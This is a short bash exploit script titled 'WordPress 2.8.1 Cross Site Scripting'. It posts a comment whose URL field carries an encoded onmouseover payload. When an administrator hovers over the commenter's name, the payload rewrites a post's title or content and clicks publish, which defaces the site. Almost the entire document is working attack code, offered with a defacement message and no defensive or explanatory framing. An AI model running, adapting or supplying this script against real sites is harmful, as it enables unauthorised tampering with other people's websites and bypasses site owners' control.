WordPress 2.8.1 Cross Site Scripting

`#!/bin/bash  
  
echo "wp281.quickprz // iso^kpsbr"  
  
SITE=$1  
COMMENT=$2  
MESSAGE="h4x0riZed by the superfreakaz0rz"  
  
if [ "X$SITE" = "X" ]; then  
echo "$0 <url> [postID]"  
echo "f.e. $0 www.worstpress.eu"  
exit  
fi  
  
if [ "X$POSTID" = "X" ]; then  
POSTID=1  
fi  
  
  
echo "[+] building payload"  
  
WHERE="title" # can also be 'content'  
PATH="$SITE/wp-comments-post.php"  
  
WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`  
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"  
echo "[-] payload is $EVILURL for '$MESSAGE'"  
  
EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`  
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`  
RNDDATA=`/bin/date +%S%s`;  
  
echo "[!] delivering data"  
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&[email protected]&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH  
  
echo "[X] all done. now wait for admin to mouse-over that name."  
  
  
`